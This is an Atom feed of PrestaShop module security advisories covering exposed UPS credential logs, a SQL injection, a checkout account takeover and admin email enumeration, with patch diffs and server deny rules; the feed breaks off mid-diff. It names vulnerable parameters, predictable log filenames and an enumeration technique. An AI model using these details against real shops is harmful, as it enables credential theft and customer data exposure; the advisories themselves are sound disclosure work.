<?xml version="1.0" encoding="utf-8"?><feed xmlns="http://www.w3.org/2005/Atom" ><generator uri="https://jekyllrb.com/" version="3.10.0">Jekyll</generator><link href="https://security.friendsofpresta.org/feed.xml" rel="self" type="application/atom+xml" /><link href="https://security.friendsofpresta.org/" rel="alternate" type="text/html" /><updated>2026-05-21T13:08:06+00:00</updated><id>https://security.friendsofpresta.org/feed.xml</id><title type="html">Friends-Of-Presta Security Advisories</title><subtitle>Friends Of Presta is a none profit organization that supports the open-source ecommerce platform PrestaShop.
</subtitle><author><name>Friends Of Presta</name></author><entry><title type="html">[CVE-2026-39079] Sensitive data exposure via publicly accessible logs in upsshipping module from Agence Web 360 for PrestaShop</title><link href="https://security.friendsofpresta.org/modules/2026/05/21/upsshipping-cve-2026-39079.html" rel="alternate" type="text/html" title="[CVE-2026-39079] Sensitive data exposure via publicly accessible logs in upsshipping module from Agence Web 360 for PrestaShop" /><published>2026-05-21T00:00:00+00:00</published><updated>2026-05-21T00:00:00+00:00</updated><id>https://security.friendsofpresta.org/modules/2026/05/21/upsshipping-cve-2026-39079</id><content type="html" xml:base="https://security.friendsofpresta.org/modules/2026/05/21/upsshipping-cve-2026-39079.html"><![CDATA[<p>A sensitive data exposure vulnerability in the UPS Shipping Module (upsshipping) for PrestaShop, in all known versions up to and including 2.4.0, allows remote unauthenticated attackers to retrieve XML log files containing UPS API credentials, shipper account numbers and customer personal data through predictable URLs in the <code class="language-plaintext highlighter-rouge">modules/upsshipping/logs/</code> directory. The vendor (Agence Web 360) is defunct and no patch will be released.</p>

<h2 id="summary">Summary</h2>

<ul>
  <li><strong>CVE ID</strong>: <a href="https://www.cve.org/CVERecord?id=CVE-2026-39079">CVE-2026-39079</a></li>
  <li><strong>Published at</strong>: 2026-05-18</li>
  <li><strong>Advisory source</strong>: <a href="https://labs.esokia.com">labs.esokia.com</a> (<a href="https://esokia.com">esokia.com</a>)</li>
  <li><strong>Platform</strong>: PrestaShop</li>
  <li><strong>Product</strong>: upsshipping</li>
  <li><strong>Impacted release</strong>: all versions (through at least 2.4.0) - no fixed version, vendor defunct</li>
  <li><strong>Product author</strong>: Agence Web 360</li>
  <li><strong>Weakness</strong>: <a href="https://cwe.mitre.org/data/definitions/552.html">CWE-552</a> (primary), <a href="https://cwe.mitre.org/data/definitions/532.html">CWE-532</a> (contributing), <a href="https://cwe.mitre.org/data/definitions/295.html">CWE-295</a> (secondary)</li>
  <li><strong>Severity</strong>: high (8.6)</li>
</ul>

<h2 id="description">Description</h2>

<p>The <code class="language-plaintext highlighter-rouge">modules/upsshipping/logs/</code> directory ships without any access control mechanism. There is no <code class="language-plaintext highlighter-rouge">.htaccess</code> file anywhere in the module, and the <code class="language-plaintext highlighter-rouge">logs/</code> directory is the only subdirectory without the blank <code class="language-plaintext highlighter-rouge">index.php</code> guard. As a result, any file written to that directory is directly reachable over HTTP without authentication.</p>

<p>Filenames written by the module follow a deterministic pattern based on <code class="language-plaintext highlighter-rouge">time()</code>:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>UPSRatingApi-request-{unix_timestamp}.xml
UPSShippingApi-request-{unix_timestamp}.xml
UPSTrackingApi-request-{unix_timestamp}.xml
</code></pre></div></div>

<p>(and their <code class="language-plaintext highlighter-rouge">-response-</code> counterparts). Enumeration of historical files is therefore trivial.</p>

<p>In <code class="language-plaintext highlighter-rouge">lib/UPSBaseApi.php</code>, the <code class="language-plaintext highlighter-rouge">catch (Exception $e)</code> block of the SOAP call writes the full request and response to disk unconditionally, regardless of the <code class="language-plaintext highlighter-rouge">$this-&gt;log</code> debug flag. Every UPS API error (invalid tracking number, timeout, validation rejection, and so on) leaves a record on disk containing the full SOAP envelope, including the <code class="language-plaintext highlighter-rouge">UPSSecurity</code> header with the merchant’s UPS API credentials in clear text.</p>

<p>The <code class="language-plaintext highlighter-rouge">clearLogs()</code> routine intended to remove files older than 30 minutes does not run reliably. On a confirmed affected instance, the directory contained <strong>2,381,841 XML files (~ 8.7 GB)</strong> spanning <strong>February 2023 to April 2026</strong>.</p>

<p>Example of the data exposed in a single request file (values redacted):</p>

<div class="language-xml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nt">&lt;ns3:Username&gt;</span>XXXXXX<span class="nt">&lt;/ns3:Username&gt;</span>
<span class="nt">&lt;ns3:Password&gt;</span>XXXXXX<span class="nt">&lt;/ns3:Password&gt;</span>
<span class="nt">&lt;ns3:AccessLicenseNumber&gt;</span>XXC2BB3311XXXXXX<span class="nt">&lt;/ns3:AccessLicenseNumber&gt;</span>
<span class="nt">&lt;ns2:ShipperNumber&gt;</span>3XYXXX<span class="nt">&lt;/ns2:ShipperNumber&gt;</span>
<span class="nt">&lt;ns2:TaxIdentificationNumber&gt;</span>FR00819XXXX<span class="nt">&lt;/ns2:TaxIdentificationNumber&gt;</span>
<span class="nt">&lt;ns2:Name&gt;</span>Customer Name<span class="nt">&lt;/ns2:Name&gt;</span>
<span class="nt">&lt;ns2:Phone&gt;&lt;ns2:Number&gt;</span>460768XXXXXX<span class="nt">&lt;/ns2:Number&gt;&lt;/ns2:Phone&gt;</span>
<span class="nt">&lt;ns2:AddressLine&gt;</span>Västervägen XX<span class="nt">&lt;/ns2:AddressLine&gt;</span>
<span class="nt">&lt;ns2:City&gt;</span>Vindeln<span class="nt">&lt;/ns2:City&gt;</span>
<span class="nt">&lt;ns2:PostalCode&gt;</span>922 31<span class="nt">&lt;/ns2:PostalCode&gt;</span>
<span class="nt">&lt;ns2:CountryCode&gt;</span>SE<span class="nt">&lt;/ns2:CountryCode&gt;</span>
</code></pre></div></div>

<p>A secondary weakness exists in <code class="language-plaintext highlighter-rouge">lib/UPSLocatorApi.php</code>, where TLS certificate validation is disabled (<code class="language-plaintext highlighter-rouge">CURLOPT_SSL_VERIFYPEER=0</code>, <code class="language-plaintext highlighter-rouge">CURLOPT_SSL_VERIFYHOST=0</code>), enabling man-in-the-middle interception of Locator API traffic (CWE-295).</p>

<p>The vendor (Agence Web 360, Golfe-Juan, France) is confirmed defunct: the domain <code class="language-plaintext highlighter-rouge">agence-web-360.com</code> is listed for sale, the Facebook page has been inactive since 2016, and prior contact attempts over the past years received no response. The module is no longer maintained and no fix will be released.</p>

<h2 id="cvss-base-metrics">CVSS base metrics</h2>

<ul>
  <li><strong>Attack vector</strong>: network</li>
  <li><strong>Attack complexity</strong>: low</li>
  <li><strong>Privilege required</strong>: none</li>
  <li><strong>User interaction</strong>: none</li>
  <li><strong>Scope</strong>: changed</li>
  <li><strong>Confidentiality</strong>: high</li>
  <li><strong>Integrity</strong>: none</li>
  <li><strong>Availability</strong>: none</li>
</ul>

<p><strong>Vector string</strong>: <a href="https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N</a></p>

<p>The Scope is rated as <code class="language-plaintext highlighter-rouge">Changed</code> because the exposed credentials and technical data belong to a separate security authority (the merchant’s UPS account / UPS API platform), alongside customer personal data subject to GDPR.</p>

<h2 id="possible-malicious-usage">Possible malicious usage</h2>

<ul>
  <li>Retrieve valid UPS API credentials (<code class="language-plaintext highlighter-rouge">Username</code>, <code class="language-plaintext highlighter-rouge">Password</code>, <code class="language-plaintext highlighter-rouge">AccessLicenseNumber</code>) of the affected merchant</li>
  <li>Retrieve the UPS shipper account number and use it to create fraudulent shipments billed to the merchant’s UPS account</li>
  <li>Retrieve customer personally identifiable information (full names, postal addresses, phone numbers, order references)</li>
  <li>Trigger GDPR breach-notification obligations for the affected merchant</li>
</ul>

<h2 id="patch">Patch</h2>

<p><strong>No vendor patch will be released.</strong> The vendor is defunct and unreachable.</p>

<p>The only durable remediation is to <strong>fully remove the module</strong> from the PrestaShop installation. Disabling the module from the back office is <strong>not sufficient</strong>: the files remain on disk and the <code class="language-plaintext highlighter-rouge">logs/</code> directory remains reachable over HTTP. The module must be uninstalled <strong>and</strong> the <code class="language-plaintext highlighter-rouge">modules/upsshipping/</code> directory deleted from the filesystem.</p>

<p>As a temporary holding measure only, while a migration to a maintained shipping module is in progress, merchants can block public access to the logs directory at the web-server level.</p>

<p>Apache (<code class="language-plaintext highlighter-rouge">modules/upsshipping/logs/.htaccess</code>):</p>

<div class="language-apache highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># Apache 2.4+</span>
<span class="p">&lt;</span><span class="nl">IfModule</span><span class="sr"> mod_authz_core.c</span><span class="p">&gt;
</span>    <span class="nc">Require</span> <span class="ss">all</span> denied
<span class="p">&lt;/</span><span class="nl">IfModule</span><span class="p">&gt;
</span>
<span class="c"># Apache 2.2 fallback</span>
<span class="p">&lt;</span><span class="nl">IfModule</span><span class="sr"> !mod_authz_core.c</span><span class="p">&gt;
</span>    <span class="nc">Order</span> deny,allow
    <span class="nc">Deny</span> <span class="ss">from</span> <span class="ss">all</span>
<span class="p">&lt;/</span><span class="nl">IfModule</span><span class="p">&gt;
</span>
<span class="nc">Options</span> -Indexes -ExecCGI
<span class="p">&lt;</span><span class="nl">FilesMatch</span><span class="sr"> ".*"</span><span class="p">&gt;
</span>    <span class="nc">SetHandler</span> default-handler
<span class="p">&lt;/</span><span class="nl">FilesMatch</span><span class="p">&gt;
</span></code></pre></div></div>

<p>nginx (inside the <code class="language-plaintext highlighter-rouge">server</code> block):</p>

<div class="language-nginx highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">location</span> <span class="s">^~</span> <span class="n">/modules/upsshipping/logs/</span> <span class="p">{</span>
    <span class="kn">deny</span> <span class="s">all</span><span class="p">;</span>
    <span class="kn">return</span> <span class="mi">403</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>

<p>In all cases, the existing XML log files should be purged, the UPS API credentials rotated (UPS account password and <code class="language-plaintext highlighter-rouge">AccessLicenseNumber</code>), and UPS account activity reviewed for unauthorized shipments. GDPR breach-notification obligations must be assessed.</p>

<h2 id="other-recommendations">Other recommendations</h2>

<ul>
  <li>It’s <strong>highly recommended to fully remove the module</strong> since no fix will ever be released by the vendor. If the module is still required, migrate to a maintained alternative as soon as possible.</li>
  <li>Inventory all installed modules and identify those whose vendor is no longer active. A module from a defunct vendor will never receive a security fix and should be removed, not merely disabled.</li>
  <li>Restrict direct HTTP access to module subdirectories that should never be web-reachable (<code class="language-plaintext highlighter-rouge">logs/</code>, <code class="language-plaintext highlighter-rouge">cache/</code>, <code class="language-plaintext highlighter-rouge">tmp/</code>, <code class="language-plaintext highlighter-rouge">tests/</code>, <code class="language-plaintext highlighter-rouge">exports/</code>, etc.) at the web-server level, as a defense-in-depth measure independent of module-shipped <code class="language-plaintext highlighter-rouge">.htaccess</code> or <code class="language-plaintext highlighter-rouge">index.php</code> guards.</li>
  <li>Review the use of verbose logging in production. Any logging mechanism that writes credentials, tokens or PII to disk should be disabled, regardless of vendor “debug flags”. When logs are unavoidable, store them outside the web root and use unpredictable filenames.</li>
  <li>Activate OWASP CRS rules on your WAF to block suspicious requests targeting common module log/debug paths and to rate-limit enumeration attempts.</li>
</ul>

<h2 id="timeline">Timeline</h2>

<table>
  <thead>
    <tr>
      <th>Date</th>
      <th>Action</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>2026-03-23</td>
      <td>Vulnerability discovered during a security audit</td>
    </tr>
    <tr>
      <td>2026-04-01</td>
      <td>CVE requested from MITRE (vendor notification not possible, agency defunct)</td>
    </tr>
    <tr>
      <td>2026-05-16</td>
      <td>MITRE assigned CVE-2026-39079</td>
    </tr>
    <tr>
      <td>2026-05-18</td>
      <td>Publication of the CVE by <a href="https://esokia.com/">Esokia</a> with the support of <a href="https://www.profileo.com">Profileo.com</a> / <a href="https://www.772424.com/">772424.com</a></td>
    </tr>
    <tr>
      <td>2026-05-18</td>
      <td>Publication on Friends-Of-Prestashop Security Advisories</td>
    </tr>
  </tbody>
</table>

<h2 id="links">Links</h2>
<ul>
  <li><a href="https://labs.esokia.com/cve/cve-2026-39079">Esokia security advisory</a></li>
  <li><a href="https://nvd.nist.gov/vuln/detail/CVE-2026-39079">National Vulnerability Database</a></li>
  <li><a href="http://agence-web-360.com/">Vendor (defunct, domain for sale)</a></li>
  <li><a href="https://www.facebook.com/people/Agence-Web-360/100063715947036/">Vendor Facebook page (inactive since 2016)</a></li>
</ul>]]></content><author><name>[&quot;Esokia.com&quot;, &quot;Profileo.com / 772424.com&quot;]</name></author><category term="modules" /><summary type="html"><![CDATA[A sensitive data exposure vulnerability in the UPS Shipping Module (upsshipping) for PrestaShop, in all known versions up to and including 2.4.0, allows remote unauthenticated attackers to retrieve XML log files containing UPS API credentials, shipper account numbers and customer personal data through predictable URLs in the modules/upsshipping/logs/ directory. The vendor (Agence Web 360) is defunct and no patch will be released.]]></summary></entry><entry><title type="html">[CVE-2025-69633] Improper neutralization of SQL parameters in Advanced Popup Creator module from Idnovate for PrestaShop</title><link href="https://security.friendsofpresta.org/modules/2026/02/16/advancedpopupcreator-cve-2025-69633.html" rel="alternate" type="text/html" title="[CVE-2025-69633] Improper neutralization of SQL parameters in Advanced Popup Creator module from Idnovate for PrestaShop" /><published>2026-02-16T00:00:00+00:00</published><updated>2026-02-16T00:00:00+00:00</updated><id>https://security.friendsofpresta.org/modules/2026/02/16/advancedpopupcreator-cve-2025-69633</id><content type="html" xml:base="https://security.friendsofpresta.org/modules/2026/02/16/advancedpopupcreator-cve-2025-69633.html"><![CDATA[<p>A SQL Injection vulnerability in the Advanced Popup Creator (advancedpopupcreator) module for PrestaShop, before version 1.2.7, allows remote unauthenticated attackers to execute arbitrary SQL queries via the fromController parameter in the popup controller.</p>

<h2 id="summary">Summary</h2>

<ul>
  <li><strong>CVE ID</strong>: <a href="https://www.cve.org/CVERecord?id=CVE-2025-69633">CVE-2025-69633</a></li>
  <li><strong>Published at</strong>: 2026-02-13</li>
  <li><strong>Advisory source</strong>: <a href="https://labs.esokia.com">labs.esokia.com</a> (<a href="https://esokia.com">esokia.com</a>)</li>
  <li><strong>Platform</strong>: PrestaShop</li>
  <li><strong>Product</strong>: advancedpopupcreator</li>
  <li><strong>Impacted release</strong>: &lt; 1.2.7 (1.2.7 fixed issue)</li>
  <li><strong>Product author</strong>: Idnovate</li>
  <li><strong>Weakness</strong>: <a href="https://cwe.mitre.org/data/definitions/89.html">CWE-89</a></li>
  <li><strong>Severity</strong>: critical (9.8)</li>
</ul>

<h2 id="description">Description</h2>

<p>Up to version 1.2.6, SQL queries in the FrontController endpoint <code class="language-plaintext highlighter-rouge">popup.php</code> of the Advanced Popup Creator (advancedpopupcreator) module can be exploited through trivial HTTP requests to perform SQL injection via the <code class="language-plaintext highlighter-rouge">fromController</code> parameter submitted through POST or GET.</p>

<p>This vulnerability was observed during incident response investigations and may have been actively exploited in the wild.</p>

<p>The vendor confirmed that the vulnerability has been present since at least version 1.1.26. The exact version in which it was introduced has not been determined. Therefore, we consider that <strong>all versions prior to 1.2.7 are vulnerable</strong>.</p>

<p>This vulnerability relies on PrestaShop’s FrontController, which allows attackers to hide the module controller’s path during the exploit. As a result, conventional frontend logs won’t reveal that this vulnerability is being exploited. Only <code class="language-plaintext highlighter-rouge">POST /</code> will be visible in logs. Activating the AuditEngine of mod_security (or similar) is the only way to get data to confirm this exploit.</p>

<h2 id="cvss-base-metrics">CVSS base metrics</h2>

<ul>
  <li><strong>Attack vector</strong>: network</li>
  <li><strong>Attack complexity</strong>: low</li>
  <li><strong>Privilege required</strong>: none</li>
  <li><strong>User interaction</strong>: none</li>
  <li><strong>Scope</strong>: unchanged</li>
  <li><strong>Confidentiality</strong>: high</li>
  <li><strong>Integrity</strong>: high</li>
  <li><strong>Availability</strong>: high</li>
</ul>

<p><strong>Vector string</strong>: <a href="https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H</a></p>

<h2 id="possible-malicious-usage">Possible malicious usage</h2>

<ul>
  <li>Retrieve administrator credentials and ultimately obtain admin access to BackOffice</li>
  <li>Discover back-office URL</li>
  <li>Extract sensitive database information</li>
</ul>

<h2 id="patch">Patch</h2>

<p>The issue was fixed by sanitizing <code class="language-plaintext highlighter-rouge">$controller</code> using <code class="language-plaintext highlighter-rouge">pSQL()</code>:</p>

<div class="language-diff highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gd">- OR FIND_IN_SET("' . $controller . '", `controller_exceptions`))';
</span><span class="gi">+ OR FIND_IN_SET("' . pSQL($controller) . '", `controller_exceptions`))';
</span></code></pre></div></div>

<p>Applied at <strong>two different places</strong> in the code:</p>
<ul>
  <li>Line ~371</li>
  <li>Line ~986</li>
</ul>

<p>Fixed version: <strong>1.2.7</strong></p>

<h2 id="other-recommendations">Other recommendations</h2>

<ul>
  <li>It’s <strong>highly recommended to upgrade the module</strong> to the latest version or to <strong>delete</strong> the module if unused.</li>
  <li>Enforce strong Back Office authentication controls. Enable Two-Factor Authentication (2FA), preferably TOTP-based for all accounts in BackOffice. Make sure that the module is not storing TOTP secret keys in plaintext within the database.</li>
  <li>Restrict and rotate the Back Office URL. Do not expose the administration URL publicly. If it has been disclosed or indexed, rename and restrict it immediately.</li>
  <li>To help improve the security of your PrestaShop installation, we recommend upgrading to the latest version. One of the benefits of upgrading is that it will disable the use of multiquery executions (separated by semicolons). However, please be aware that this <strong>will not protect</strong> your shop against SQL injection attacks that use the UNION clause to steal data. Additionally, it’s important to note that PrestaShop includes a function called pSQL, which includes a strip_tags function. This helps protect your shop against <a href="https://security.friendsofpresta.org/modules/2023/02/07/stored-xss.html">Stored XSS (also known as XSS T2) of Category 1</a>. If a pSQL function is missing, it could potentially expose your project to critical Stored XSS vulnerabilities due to edge cases. Therefore, it’s crucial to ensure that all relevant functions are properly implemented and used consistently throughout your project.</li>
  <li>Change the default database prefix <code class="language-plaintext highlighter-rouge">ps_</code> with a new longer, arbitrary prefix. Nevertheless, be warned that this is useless against blackhats with DBA senior skills because of a design vulnerability in DBMS</li>
  <li>Activate OWASP 942’s rules on your WAF (Web application firewall), be warned that you will probably break your backoffice and you will need to pre-configure some bypasses against this set of rules.</li>
</ul>

<h2 id="timeline">Timeline</h2>

<table>
  <thead>
    <tr>
      <th>Date</th>
      <th>Action</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>2025-12-10</td>
      <td>Vulnerability reported responsibly to Idnovate and PrestaShop security</td>
    </tr>
    <tr>
      <td>2025-12-10</td>
      <td>Vendor confirms fix released</td>
    </tr>
    <tr>
      <td>2025-12-18</td>
      <td>Affected versions confirmed ( &lt; 1.2.7, fixed in 1.2.7)</td>
    </tr>
    <tr>
      <td>2025-12-18</td>
      <td>CVE requested from MITRE</td>
    </tr>
    <tr>
      <td>2026-01-28</td>
      <td>MITRE assigned CVE-2025-69633</td>
    </tr>
    <tr>
      <td>2026-02-02</td>
      <td>Final technical verification prior to publication</td>
    </tr>
    <tr>
      <td>2026-02-13</td>
      <td>Publication of the CVE by <a href="https://esokia.com/">Esokia</a> with the support of <a href="https://www.profileo.com">Profileo.com</a> / <a href="https://www.772424.com/">772424.com</a></td>
    </tr>
    <tr>
      <td>2026-02-16</td>
      <td>Publication on Friends-Of-Prestashop Security Advisories</td>
    </tr>
  </tbody>
</table>

<h2 id="links">Links</h2>
<ul>
  <li><a href="https://addons.prestashop.com/en/pop-up-gamification/23773-popup-on-entry-exit-popup-and-newsletter.html">Download page on PrestaShop Marketplace</a></li>
  <li><a href="https://labs.esokia.com/cve/cve-2025-69633/">Esokia security advisory</a></li>
  <li><a href="https://nvd.nist.gov/vuln/detail/CVE-2025-69633">National Vulnerability Database</a></li>
</ul>]]></content><author><name>[&quot;Esokia.com&quot;, &quot;Profileo.com / 772424.com&quot;]</name></author><category term="modules" /><summary type="html"><![CDATA[A SQL Injection vulnerability in the Advanced Popup Creator (advancedpopupcreator) module for PrestaShop, before version 1.2.7, allows remote unauthenticated attackers to execute arbitrary SQL queries via the fromController parameter in the popup controller.]]></summary></entry><entry><title type="html">[CVE-2025-61922] Customer account takeover via email in PrestaShop Checkout module for PrestaShop</title><link href="https://security.friendsofpresta.org/modules/2025/10/23/ps_checkout.html" rel="alternate" type="text/html" title="[CVE-2025-61922] Customer account takeover via email in PrestaShop Checkout module for PrestaShop" /><published>2025-10-23T00:00:00+00:00</published><updated>2025-10-23T00:00:00+00:00</updated><id>https://security.friendsofpresta.org/modules/2025/10/23/ps_checkout</id><content type="html" xml:base="https://security.friendsofpresta.org/modules/2025/10/23/ps_checkout.html"><![CDATA[<p>Missing validation on Express Checkout feature in the PrestaShop Checkout module allows silent log-in, enabling customer account takeover via email.</p>

<h2 id="summary">Summary</h2>

<ul>
  <li><strong>CVE ID</strong>: <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-61922">CVE-2025-61922</a></li>
  <li><strong>Published at</strong>: 2025-10-16</li>
  <li><strong>Advisory source</strong>: <a href="https://github.com/PrestaShopCorp/ps_checkout/security/advisories/GHSA-54hq-mf6h-48xh">PrestaShopCorp GitHub Security Advisory</a></li>
  <li><strong>Platform</strong>: PrestaShop</li>
  <li><strong>Product</strong>: ps_checkout</li>
  <li><strong>Impacted release</strong>: &gt;= 1.3.0, &lt; 4.4.1, &lt; 5.0.5 (see version details below)</li>
  <li><strong>Product author</strong>: PrestaShop</li>
  <li><strong>Weakness</strong>: <a href="https://cwe.mitre.org/data/definitions/358.html">CWE-358</a></li>
  <li><strong>Severity</strong>: critical (9.1)</li>
</ul>

<h2 id="description">Description</h2>

<p>The issue was introduced in PrestaShop Checkout 1.3.0. A missing validation on the Express Checkout feature allows attackers to perform silent authentication, leading to customer account takeover via email. All versions above 1.3.0 are vulnerable except the patched versions.</p>

<p><strong>Important note about version numbering</strong>: The first digit of the version displayed in the PrestaShop back office corresponds to the PrestaShop version. Therefore:</p>
<ul>
  <li>For <strong>PrestaShop 1.7</strong>: versions &lt; 7.5.0.5 require an update</li>
  <li>For <strong>PrestaShop 8</strong>: versions &lt; 8.5.0.5 require an update</li>
  <li>For <strong>PrestaShop 9</strong>: versions &lt; 9.5.0.5 require an update</li>
</ul>

<h2 id="cvss-base-metrics">CVSS base metrics</h2>

<ul>
  <li><strong>Attack vector</strong>: network</li>
  <li><strong>Attack complexity</strong>: low</li>
  <li><strong>Privilege required</strong>: none</li>
  <li><strong>User interaction</strong>: none</li>
  <li><strong>Scope</strong>: unchanged</li>
  <li><strong>Confidentiality</strong>: high</li>
  <li><strong>Integrity</strong>: high</li>
  <li><strong>Availability</strong>: none</li>
</ul>

<p><strong>Vector string</strong>: <a href="https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N</a></p>

<h2 id="possible-malicious-usage">Possible malicious usage</h2>

<ul>
  <li>Customer account takeover</li>
  <li>Unauthorized order placement using compromised accounts</li>
</ul>

<h2 id="patches">Patches</h2>

<p>The problem has been patched in the following versions published on 2025-10-16:</p>

<ul>
  <li><strong>v4.4.1</strong> for PrestaShop 1.7 (build number: <strong>7.4.4.1</strong>)</li>
  <li><strong>v4.4.1</strong> for PrestaShop 8 (build number: <strong>8.4.4.1</strong>)</li>
  <li><strong>v5.0.5</strong> for PrestaShop 1.7 (build number: <strong>7.5.0.5</strong>)</li>
  <li><strong>v5.0.5</strong> for PrestaShop 8 (build number: <strong>8.5.0.5</strong>)</li>
  <li><strong>v5.0.5</strong> for PrestaShop 9 (build number: <strong>9.5.0.5</strong>)</li>
</ul>

<p>Read the <a href="https://github.com/PrestaShopCorp/ps_checkout/wiki/Versioning">PrestaShop Checkout Versioning policy</a> to learn more about build numbers and versions.</p>

<h2 id="other-recommendations">Other recommendations</h2>

<ul>
  <li><strong>It’s highly recommended to upgrade the module</strong> to the latest patched version immediately.</li>
  <li>Review your logs for any suspicious authentication activities</li>
  <li>Consider notifying affected customers if you suspect account compromise</li>
  <li>Monitor for unusual order or account activity patterns</li>
</ul>

<h2 id="timeline">Timeline</h2>

<table>
  <thead>
    <tr>
      <th>Date</th>
      <th>Action</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>2025-10-16</td>
      <td>Vulnerability patched and versions released</td>
    </tr>
    <tr>
      <td>2025-10-16</td>
      <td>Publication of this security advisory</td>
    </tr>
  </tbody>
</table>

<h2 id="credits">Credits</h2>

<p>We would like to thank <a href="https://github.com/inem0o">Léo CUNÉAZ</a> for reporting the issue.</p>

<h2 id="links">Links</h2>

<ul>
  <li><a href="https://addons.prestashop.com/en/payment-card-wallet/46347-prestashop-checkout-built-with-paypal.html">PrestaShop Checkout on PrestaShop Addons</a></li>
  <li><a href="https://github.com/PrestaShopCorp/ps_checkout/security/advisories/GHSA-54hq-mf6h-48xh">PrestaShopCorp GitHub Security Advisory GHSA-54hq-mf6h-48xh</a></li>
  <li><a href="https://nvd.nist.gov/vuln/detail/CVE-2025-61922">National Vulnerability Database</a></li>
</ul>]]></content><author><name>[&quot;PrestaShop SA&quot;, &quot;Friends-Of-Presta.org&quot;]</name></author><category term="modules" /><summary type="html"><![CDATA[Missing validation on Express Checkout feature in the PrestaShop Checkout module allows silent log-in, enabling customer account takeover via email.]]></summary></entry><entry><title type="html">[CVE-2025-51586] User enumeration vulnerability in the AdminLogin controller in PrestaShop 1.7 through 8.2.2</title><link href="https://security.friendsofpresta.org/core/2025/09/04/CVE-2025-51586.html" rel="alternate" type="text/html" title="[CVE-2025-51586] User enumeration vulnerability in the AdminLogin controller in PrestaShop 1.7 through 8.2.2" /><published>2025-09-04T00:00:00+00:00</published><updated>2025-09-04T00:00:00+00:00</updated><id>https://security.friendsofpresta.org/core/2025/09/04/CVE-2025-51586</id><content type="html" xml:base="https://security.friendsofpresta.org/core/2025/09/04/CVE-2025-51586.html"><![CDATA[<p>User enumeration vulnerability in the AdminLogin controller in PrestaShop 1.7 through 8.2.2 allows remote attackers to obtain administrators user email addresses via manipulation of the id_employee and reset_token parameters. An attacker who has access to the Back Office login URL can trigger the password reset form to disclose the associated email address in a hidden field, even when the provided reset token is invalid. This issue has been fixed in 8.2.3.</p>

<h2 id="summary">Summary</h2>

<ul>
  <li><strong>CVE ID</strong>: CVE-2025-51586</li>
  <li><strong>Published at</strong>: 2025-09-04</li>
  <li><strong>Platform</strong>: PrestaShop (Core)</li>
  <li><strong>Impacted release</strong>: from 1.7 to 8.2.2 - <strong>fixed in 8.2.3</strong></li>
  <li><strong>Product author</strong>: PrestaShop</li>
  <li><strong>Weakness</strong>: <a href="https://cwe.mitre.org/data/definitions/359.html">CWE-359 – Exposure of Private Information (‘Privacy Violation’)</a></li>
  <li><strong>Severity</strong>: Moderate.
    <ul>
      <li>CVSS v3.1 base score: <strong>4.2</strong> (as assessed in the PrestaShop advisory)</li>
      <li>Based on the criteria applied in this advisory: <strong>3.7 (Low)</strong> (see vector string below)</li>
    </ul>
  </li>
</ul>

<p><strong>Root cause (before fix):</strong> the template variables for the reset form were assigned without first verifying that the <code class="language-plaintext highlighter-rouge">reset_token</code> matched the employee’s currently valid reset token (including validity window).</p>

<h2 id="cvss-base-metrics">CVSS base metrics</h2>

<ul>
  <li><strong>Attack vector</strong>: Network (AV:N)</li>
  <li><strong>Attack complexity</strong>: High (AC:H)</li>
  <li><strong>Privileges required</strong>: None (PR:N)</li>
  <li><strong>User interaction</strong>: None (UI:N)</li>
  <li><strong>Scope</strong>: Unchanged (S:U)</li>
  <li><strong>Confidentiality</strong>: Low (C:L)</li>
  <li><strong>Integrity</strong>: None (I:N)</li>
  <li><strong>Availability</strong>: None (A:N)</li>
</ul>

<p><strong>Vector string</strong>: <code class="language-plaintext highlighter-rouge">CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N</code> - <strong>3.7 (Low)</strong></p>

<h2 id="proof-of-concept">Proof of concept</h2>

<p>When an invalid <code class="language-plaintext highlighter-rouge">reset_token</code> is supplied together with a valid <code class="language-plaintext highlighter-rouge">id_employee</code>, the application still renders the password reset form and includes the employee’s email address in a hidden field. By incrementing or iterating through <code class="language-plaintext highlighter-rouge">id_employee</code> values, an attacker can systematically enumerate all Back Office user emails.</p>

<p>For security reasons, the full proof of concept request/response sequence is not fully disclosed here. The vulnerability cannot be reliably mitigated by common WAF rules, as the flaw resides in the application logic itself.</p>

<h2 id="patch">Patch</h2>

<p>Based on editor patch: https://github.com/PrestaShop/PrestaShop/pull/39479/commits/c97bdf10f77fedbe5a61a1dec5f96b3abb1d76fb</p>

<h3 id="minimal-logic-hardening-as-merged-upstream">Minimal logic hardening (as merged upstream)</h3>

<p>Only render the reset form (and especially <code class="language-plaintext highlighter-rouge">reset_email</code>) if <strong>both</strong> parameters are present <strong>and</strong> the <strong>token is valid</strong> for the selected employee:</p>

<div class="language-diff highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gd">- // For reset password feature
- if ($reset_token = Tools::getValue('reset_token')) {
-     $this-&gt;context-&gt;smarty-&gt;assign('reset_token', $reset_token);
- }
- if ($id_employee = Tools::getValue('id_employee')) {
-     $this-&gt;context-&gt;smarty-&gt;assign('id_employee', $id_employee);
-     $employee = new Employee($id_employee);
-     if (Validate::isLoadedObject($employee)) {
-         $this-&gt;context-&gt;smarty-&gt;assign('reset_email', $employee-&gt;email);
-     }
- }
</span><span class="gi">+ // For reset password feature (safe: only when token is valid)
+ $reset_token = Tools::getValue('reset_token');
+ $id_employee = Tools::getValue('id_employee');
